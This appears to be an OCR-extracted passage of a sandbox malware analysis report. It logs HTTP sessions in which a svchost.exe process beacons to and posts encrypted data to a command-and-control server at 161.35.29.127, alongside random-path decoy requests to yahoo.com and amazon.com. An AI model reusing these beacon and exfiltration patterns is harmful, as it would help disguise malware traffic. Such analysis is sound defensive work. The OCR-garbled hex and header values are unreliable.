2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2€ 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:53:37 UTC 598

2021-09-28 07:53:42 UTC 888

2021-09-28 07:53:42 UTC 889

Session ID Source IP

70 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

ouT

Source Port
50020

Direction

Data

GET /feed/news/last HTTP/1.1

Cookie: HSID=ZfKEWxn6dwNA2MHhkhOhKjZoDN7GeRFLwaLtN1RP6EaeHYuH2ZKBmZaWwnGyM2mgeV1BkrPlloCtql
zZFXPM3UhVY4gDVAsRUBJVXeFqO77RSiqH%2BUAr4cLy%2BJsm7Ksx4Esb9qoH%2BC7xiH%2F2CpRR2hw
BSZN25nKdiV%2FLiVY84GdInzbQKWANDQHR7AULGGYRt%2BJSHagqwPnra62kPUiOXpfaiZzaHRZiNaz3SpCKrmIrMP
hXTLnmANAmMYeV0qjfX6sVDxOPjBuXNvfbBHyXY]5FjjleXb7ROHDzIK7k5C32FRXP4YARSLF4APVTI6%2B4pengklS
TAAM1w7%2BJGdSc5j1cJQ%3D%3D;SIDCC=dVI2gKrBjdUHhTIMH5WPXWPdkdMMTnl1y3CSiyXOMgHQma
P8H7W9kGUC6IzQ7jK61cCdy47%2FbxIPYz7HHMYFsGiOynzPD1boaE50HavJ01m4BjYjRdjRMB%2BTDsFpol9Y%2Fx
VO4EfBI6HEavwUtMRDNIfSpDSGsmMwE2Y EBf8mOR4xbBIB8XYwWQ%2BUjq2g07ABOL41%2BT5RZM1iUf1
kPVrLW8BE7GR%2F9UL2vcuxIBxStxDdrgeAyhNOY gvox8%2Bj%2B2k%2FcOpbyLeu7q4KdLOaEK4xCZdgVS8hudoUC
d8MIPfMjOZV%2F30VH1xhbSfFieL GsIUyXVSs0gOqULOJRGQNVK%2FCRTQ%3D%3D;SID=e7QzHmgOHds
r%2FcOwdVglIAFUKLO7kFSwpnfu2lwldDGBRAA3Rxmhlv3k2aYal7b7JzY TOW8cIWLK48rXv503nYaG20YoyGkmVwma
JWhxvxjYQU3qYW83yyh6mKapgmAgiVW7Kt882DF4FePasDBUucVICDFptA35aitelFOXMshycP%2FX4GdDcC7KByfD
vjhHM%2BZiTabU8ic8MKLg40FMuTBNIXHirS10L1Gr7CpV%2F6ywD0s4Z6bkplcHIVgAFL2vZGVJLarOptcUZsCYz1
Iv6Mt9XnocxTNzygmheXKuWGNgAXaK6dgpEzj%2FzIpdGkIX7JTqcBcON54rigSNV5nZ2jg%3D%3D;SSID=GbVw7IL
mBHjwzPOC49YQ61rSJpT3BZeuC3KXf5msZEwcJcrkiGPNe3zosBWdV8NOw203I5tnMBQr7gjY5JwQUMBIpARSPODS5I
wuoc3%2FLIKak9TvYIU6IcA0iJJ%2Bh1p8QpiLgyqOe%2FI5Z5PLeljSSWoDckGSbmWk3K6ztayNJgvCpZyumLXgl
DH46xiKkL7aa21vfT38fFo5uQLuDU4zulA7B5Uc14igV6egMM9CO1or)2kLHLSefV7HTqlbFeLQ8MGohvVLIGNFNVK
7V5%2FmMMMB9IZjRT{%2BUFHANbINIHd%2F3DR%2BHDDcUuE0g%2Fit6PvsJY SJOXXGaidu9V7ibZZ%2BH
SLg%3D%3D;

X-Tag: dAkxCQA4CZY Xk4p7vpbvhYhPeX4qeDvnYBUDtgdnP7NhlOXlypdOm6TUqqnZjwNfImCNYha54L GsFZ44ayK9
IVNzmIf3wzhlkUWV0Z03NdgfS36fktpWerY%2BdAMugbeb%2B8v2u%2Bre%2FhRe%2FtlY nhARo7aRbelvdsQvVicO
Mu0e2TmsY pspxQNW8aqihBKK1qUG8X63QuVvItRPIFM%2FnILH7V7vJ2HOMQYYDgcQONaYhr%2Bn3Bglc
9e9B0Jb4%2FvUV{%2FWdD5dwINI5QTVIXnmQ0Xz%2BoMWcynBST8P3aSx4%2F8IPYA4PedlG9sikmPberg7MpFL%2F
1rNh%2B1xAMejkPBJInf%2FHCDfg%3D%3D

X-Csrf-Token: usH2y78AQTWdgTu54qdbCzceh52Wvmbz5gBBNKY sdEtQCIXbD8tWJ4%2Bk3TwkCm%2BsukXxGf6%
2FHwg8TyhveyD8FYVQKre5Blal%2FXpt7fcx8oxOuWrzCqvlwKNRdnLWe3ZYmXdcE1si6zNBJUDXqxf4D8%2BJsbp8
6DAIpVKIMNVYh8w0%2FRIOW8%2BhMwHMdHIiil0K%2FR%2F48we32UYEBwW5ihjN%2BxSeUTBFWrlgTNY
ETk3H5pGu73xkFn%2FpRpDT%2BndEIMIJ58jIRSOJGAeh8PMhAeUtMdJ7b7hMIKmzkKoBmkCoM61zHK%2B7shylm6i
gYppEShIdVkQbMRf3DfhMFWT90hwDAgQ%3D%3D

X-Request-ID: SOFOR0ZVOFOr7FK1LUjMRwnonj4Uxgno4n01KbT9j9YW5f2jgwObDbutcW122%2BVfbGOAQOI%2F
JCblhJjm78c7Uh3uHW8WNP{NBrtzoUHjtQX0ZA1k2wSBwLbQuaqi55r17vPza7mkknMPmp45XZxmulc%2FwUdK7ZA]
gSWAOF4dOULDsGIHM7MAX3ElouNh6p3mSJIXbd70qzHHYEaQf00cIkZy5RpA%2Bj77AgY RHZFMZA5IRJoVhWhlctQtl
4W4113nqgcwdzy9eCudaRTuRfyMKazZtXxIuZAJgt%2Fi7cgQemLCIHVTv97Zen71Rrsq%2Fzcj0A4%2BUnUzjYDBI
5xbwwpS8%2Fg%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: text/html; charset=UTF-8

Content-Length: 2

Connection: close

Date: Tue, 28 Sep 2021 07:53:41 GMT

Set-Cookie: actual=GvmpsG7j0GTUDZ0mvqunNxKxDcJGExgFRd100525g8VRT6KFhIJ8mJ4bNTOkJIBay2t4p12
zZhezkYHy5EtJqIReOBI9RNM2veBCNvXfhoQ2TzuexOhxkKcpOZbT1rtwGng2UrOmist1BJEKME766HSfbsibNAaXT
LgSfh1Yu5ZqzqO2P5yOyPIpqimzV8WGkjfuOCuRKFNwaglOvRKxv8yUMkWaBwdZQP1Nrzq8w20weRbNJ2S212w6x8
4s97Q

Set-Cookie: query4=4r9HMwaCc6SzY Cin4dOR5hrnZckZWBYhfJH4lbgev8fomDYLYuv5HWtFHNbAI82109qUhEbQ
mgGAC4w23d7P2IL7jIHOMKh4Jw5181NjTh9Fz9RnsgcwkfC1200030u8MIlylz1VZFX5mSXbptyjMkQIKOVMCwWFOYYO
2Lnjua5EmcLmQvf1Gb3xZxYgfa27z6sewT1wOog5hASt7nog6bvOIlI5SM61g6SQIVuUL2|0sbM4GezRe8pocoXCALedO
YPMPb

Set-Cookie: SVALUE=UNOW%2BLbhLLy4wXLGUrLhXCr3m%2BUPPCHWurNE%2Bw%2F16qD1AL7ZZMPeH
2yVKDHN1hPFLQBVIBhVYx5JVILZSIGvpx3RH64415bMAEVd3F05ZCtYiv1fS3xMKgLVKyLEel868CrKGoHrEIXIZOY
HUAKC%2FwxkhLEEVUHRJ7j7cn92YNysjsFQgpayiPTLLGUDfR7v3gBUQCPpGESWEXAbnnU%2BPUpMnMIP
mKYZLCVsZ0P%2BFz9xpbvB20icwubsAnf%2F%2BEnaSEQIGq6G YyXjvuKMKPZEFOcSg3SIXFDzKGA12jLgnz7jWw123
JG52z9Bt44bxXIIXbxXwwIWHOKIAIN6VoXI5Z0iw%3D%3D

Set-Cookie: bdata=732476

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Data Raw: 4f 4b
Data Ascii: OK

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:54:20 UTC 1043

2021-09-28 07:54:20 UTC 1046

2021-09-28 07:54:23 UTC 1055

Session ID Source IP

71 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:21 UTC 1048

Copyright Joe Security LLC 2021

Direction

ouT

ouT

Source Port
50023

Direction
ouT

Data

POST /feed/news/last HTTP/1.1

Content-Type: application/octet-stream

Cookie: HSID=KiFAND3D3IVJKOIFTWVWDZSU79n%2F9AR9gje6L5QU34BMvYzIh5zIZfPYBL190vt5zMDhIOaeAQO
Y8sAJES5kiGtIBNfq6HiOrj%2F30dEFKNLax3TXt9ImR12i5gnL2Uyf%2BzbS1Th2LtdicH1pg%2FUbdS9WFz51411Tc
YzROru%2FPm3UsEgNHOYC9gILUeBk77E8vmRt5¢19q0OUykvoQsHi0%2BMROVIHK270%2FtPw2Ma60F7x
FdbdR%2BMmLWVX0YR%2FdBMXwY2DPp7qWVcnBNVMDKOtL29i0%2F%2BnD63Bxja%2BYMZwrY OdB8VWH6
€ii4St9sPyVm6jINHtdx6wnQHvutlpwNglpHWwWw%3D%3D; SIDCC=PfH%2B0malco%2F8LLDhPWUPT1M9ZICi040PWI
znYjRv73dif1xqttbkUoAc278%2BSelvv%2FHT3P7jgzB7qzMXuPnuRfLp%2F1YUm7XxhycQf%2BISRKVPuM20pvkT
sgrcZWSxksm3UXFgnUwAX3MEcVgqgbD9cYhCx4LrI7CwPTkzRMchXGaXsWQ3xZLr4ZNsnSQebMbUTKAr
9zVFXYm50el7PKS0AP6pUc0%2FOVXS1cNOAYyQ2yufChpQ1P0pql%2FzCJcDKKbuxX98TdBKv5roGT35YHrm0Omoal6%
2BrohQinzePu7Lr5nzeCo6nik%2FdtObd5qpVWgn31nbyfksMkgz%2Bb73kd C7QWsQ%3D%3D;SID=2KpeBYcCuTITo
doiDo8KUeOWHi9yodTrY nf%2FrGYPd2IUTp3ZDX00gX8Z76TGTedYJHcgcDwnZGK4v3Bgg5tSDQyj3w9V1aANfalus
hCoH2%2B7gqzJcNmmTsy%2BUUwXh%2FaBR%2BtCpQ5gmlvihmD%2FkvBMFveVZPF%2B2pSdD3FUBPLVa
gjpzrj2zuXOFIP%2BbQqtI1mlig0cZPA70bTSW6bq1PhbUQW8t9b6VQ%2FOPhK7fY TQKIMILNojkIZe6s3kRTSBfWOE
KI20dNQghmIHrP%2B7kT44S72JFZSf96hIfoq2xR71im85DcJGJ2uFBt5wzsIp5q%2F1ppBLpC35kWnGBvx6U8pCH
Q%3D%3D;SSID=hyB7%2FEiZ5w1wDM5J7gfb7kpmel5kqYmul3dRbxn5ps57i9leeS%2FhvpACF2PkQqkVSORqg2tUa%
2FA9k83fXCIMVQN9YnGrlOfXSnOllu%2Fy1DrgnVp9mot3y8khUdIZ1ddzKhfCOet8HareASSPHbrBshQKqFZ19Qsp
AYtY%2B0D5cydNM76xkzByBSQNIygXnkZAdObelS2ISOnAEfIWZ5gSQV4IBYdbn22bGER8BUEObRCLUKF3gAH51f6
StplQEjGITdwBynXY17brJZ%2BpoymcEICS56F69rOx9cmv000INTOvn221etcOnfCOPDe9gmiXrSPvBb2YA%2F%2B
QX1cdinHZiQ%3D%3D;

X-Tag: EvuV6ekdFmce%2B4JHf%2Fqj93vz4gUqpRy2qJEg9BK5SEQF%2FpxsdfRwtcCve7yQllldtfY XUvyGeAktodL
cY%2Fn9KmI8nd7yHb8CzOWITEWIUWY %2BIw60OKJIr17RIsCYNheC5b0WWZhzARosUERNgLAZQtYYEJO%
2BKYCOzy6hsGBIQ4sDKgPnE0%2B4JAZFrOT|x%2BI7JKATr8Cgq7bGBLRetmbQ%2BvcKTvkixCaPyCXkAns95Lchgz
9POoXSEMXARXNWhCQ5Y9uXBCG8Aq3tr7qs%2FRoeUASWRdYJTVKI3XwzI8j8F8IV5FHINnHBBsBAaMiONPFboJdve5kZ
zIFvPQa21xBaxCw%2BmPw%3D%3D

X-Csrf-Token: SfDWrNeKICiR1z0Q2c¢jYx%2B71zZWA%2FPR%2B10igPQZ%2Bn714MP0%2FudFc55MNMaBBQrM4Jff
4MAH050NrKs%2BfY8hR1dupQQu6aBvDzIMmK6kzV35DKYMfdaXRJIzY9JrqplFP%2F40xdcnXO7nDCPpyNA377WMaU
weuezlkprTDVOIEy%2F5nv3B0oi96SAyVJICQv3jduDcKALB0e%2FCIOUVBhG2U2%2FZdjYKkJCNKEOY9R1t%2FOYyy
3Zmc1aQtNWY1Y%2F6X09aROLK8H24vrYbUMCFIhP1qgISwBY6X0PP5bOKLIBPSRDMCZcgODIPsenxTu4r27YYf5WG9
xzS50rRu3iQxSAavemDQ%3D%3D

X-Request-ID: 45zeTMiUn34wsPkjazlZsTIOe0qs8nsgm05GVZN3aC29b7RDmb802NgNkNagE2RsmGEWyYfbrFvDB
ALVIaTOgEqRMIMTpQb4UCQ70izu%2FIgblZbamthykwSSMQfPO1RYHEaetom2%2BF6mj9SD%2FQgL3Y
NN69ePhqUw163HI4Q%2B%2FMXIgpGvs3WFmM60OFMJI2Q70E4Bz4sVLvhwYVpZm8JI7kG6CoWACL%2BrTcFx
m2uVfXog8VjNmHgMiyb8%2BDbglq12SKjQ5dAcAA8gBFnm1LwiGaV70YOI8T8Q5QpraFZ1W5iyHS4YkugTRZFRB%2B
bIDIIPruYuxtUHOro00FOUBia9m6 TGDQ%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 256

Cache-Control: no-cache

Data Raw: 1b 7a b2 7a 6d 10 Oe 46 3e 9a 96 51 25 1a 31 8e 3c 34 28 5c 7f ¢7 cb 8a 30 03 81 al 48 36 bf d0 83 52 30 96
ec a5 b0 5b d6 50 dc 62 73 2e 7f 35 47 42 84 6a ff 29 ff 27 f6 26 96 8e 41 27 32 dc 54 11 7e b4 68 d5 30 9 5f 00 fe b9 be
df ac 57 ca d6 53 5e 3c el 2a 7b ¢9 6¢ 50 4b 67 45 bb 50 4f fb a6 5f db f7 81 44 ¢5 bl bl a2 3a 46 db 51 a4 95 de fd e4 Ob
95 da 3a 85 87 09 7c cb 64 83 b1 c9 7e 99 fa Oa ad 6d d5 69 d9 72 c4 c3 43 99 f4 16 56 35 dc 80 95 d0 39 a0 ef 2e c0 12
f315¢1 56 03 67 56 75 9c 8d Of 18 2f ¢8 28 d7 c1 0a d3 70 75 3d 65 b6 2b d8 7d 1a df 48 e6 b7 e7 5f 19 42 ff 44 27 af 8f
23 13 68 b2 c4 8a c0 aa 18 6e 22 d5 82 6¢ 5b 61 59 5a b3 f1 a0 09 fc 6f 5d a3 90 a5 5b 78 a4 d7 ed 9c 31 a9 34 c0 48 5f
25 ca 46 52 a9 39 88 3a f4 5d 57 53 b6 67 b4 15

Data Ascii: zzmF>Q%1<4(\0H6RO[Pbs.5GB))'&A'2T~h0_WSA<*{IPKgEPO_D:FQ:|d~mirCV59.VgVu/(pu=e+}H_BD'#hn"
I[aYZo][x14H_%FR9:]WSg

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close

Date: Tue, 28 Sep 2021 07:54:23 GMT
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

Destination IP  Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /t68w4hdtscM8g0OhDHS/jj2n2gbx9wLretb7Qpyjm1dT3jj4/Rkdpna500syortMyiFplX88cutl71rSfilnsls1808mz/mt
hQ69¢32jn9IA3vnvCbhB9aght/[930NxuMn8nonoSf5k74ujq9hx07aopnjgudYrOzozvk7x/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5
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kBytes
Timestamp transferred

2021-09-28 07:54:21 UTC 1048

2021-09-28 07:54:21 UTC 1050

2021-09-28 07:54:21 UTC 1050

Session ID Source IP

72 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:22 UTC 1051

2021-09-28 07:54:22 UTC 1051

2021-09-28 07:54:22 UTC 1052

Copyright Joe Security LLC 2021

Direction

IN

Source Port
50025

Direction
ouT

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:21 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 9

server: ATS

Content-Length: 914

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=4prl6otgl5ihd&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 31 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
7274 2d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
727265 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:21 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 74 36
3877 34 68 64 74 73 63 4d 38 67 30 68 44 48 53 25 32 66 6a 6a 32 6e 32 71 62 78 39 77 4c 72 65 74 62 37 51 70 79 6a
6d 31 64 54 33 6a 6a 34 25 32 66 52 6b 64 70 6e 61 35 30 30 73 79 6f 72 74 4d 79 69 46 70 6¢ 58 38 38 63 75 74 6¢ 37
317253 66 39 6¢ 6e 73 6¢ 73 31 38 30 38 6d 7a 25 32 66 6d 74 68 51 36 39 63 33 32 6a 6e 39 6¢ 41 33 76 6e 76 43 62
42 39 61 71 68 74 25 32 66 6¢ 39 33 6f 4e 78 75 4d 6e 38 6e 6f

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%?2ft68w4hdtscM8g0hDHS%2fjj2n2qbx9wLretb7Qpyjm1dT3;jj4%2fRkdpna500syortMyiFpIX88cutl71rSfal
nsls1808mz%2fmthQ69c32jn9IA3vnvCbB9aght%2fl930NxuMn8no

Destination IP Destination Port Process
162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /Bllcs2iayVogzcpjjz/kolmrpszv35M6i5cq8xioudL0gh5yZo2kfo8kadfz4R3hq2/KotyZh3e289wHuknSysiis2308hd
Zk62ss1c8/kgh4tm2n5muxb0xy5fe8o7r9vcolfiv27frxrHyr2Yg3bksUursX0om2m590ihdGwsn8J/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:22 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: YODBTIN6CEPM3DBEZ9FM

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 ¢9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt=I{"(.W]in"u=Padn{]1+: Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu
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Session ID Source IP

73 192.168.2.3
kBytes
Timestamp transferred

2021-09-28 07:54:23 UTC 1052

2021-09-28 07:54:23 UTC 1053

2021-09-28 07:54:23 UTC 1053

Session ID Source IP

74 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:23 UTC 1054

2021-09-28 07:54:23 UTC 1055

2021-09-28 07:54:23 UTC 1056

Copyright Joe Security LLC 2021

Source Port

50027

Direction

ouT

Source Port

50028

Direction

ouTt

Destination IP Destination Port Process

162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /bg7Ud9516an63q5Q5sm/It2nrfw2J05ggd2xRIlugbanbu2gmhjrrind24hhmaty31/akhfw7kpxR6HkDUyc180a5mAJkpl
0xW7k7rgdV6489/92xZ434fmua8zJixefxgl/vs7p5Jou32wQjloYOlYkjhnaR/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:54:23 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: NI9GFAE4KC48Q3GV5P5X

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18.d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d {7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 Oa 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+,Yt=K{"(.W]}n"u=Pa9n{]1+: Ch[ *"kz<{VJIZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*jvOhu

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /9GuwHdocm3fspOQm/t2uabxfliofotd012eir4jwi96nGg/K7hwmewf5I8cfviyylvd2i5gy63cdioffugGQ/ew3sBtaPes
tyioqyjvgkl2fgsefsya5smp7m/y8soWU99I13VztklazONfbzRdkal86/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:23 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBI IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 9

server: ATS

Content-Length: 884

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=461sbmlgl5ihf&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

